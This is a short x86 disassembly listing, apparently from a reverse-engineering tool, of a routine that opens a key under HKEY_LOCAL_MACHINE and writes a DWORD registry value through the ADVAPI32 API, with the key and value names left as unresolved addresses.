lea eax, [esp]
mov dword [esp], 0
push eax
push 2
push 0
push 0x401a60
push 0x80000002
mov dword [esp + 0x18], 0
call dword [sym.imp.ADVAPI32.DLL_RegOpenKeyExW]
test eax, eax
jne 0x4022b9
mov edx, dword [esp]
lea ecx, [esp + 4]
push 4
push ecx
push 4
push eax
push 0x401ad4
push edx
mov dword [esp + 0x1c], eax
call dword [sym.imp.ADVAPI32.DLL_RegSetValueExW]
mov eax, dword [esp]
push eax
call dword [sym.imp.ADVAPI32.DLL_RegCloseKey]
add esp, 8
ret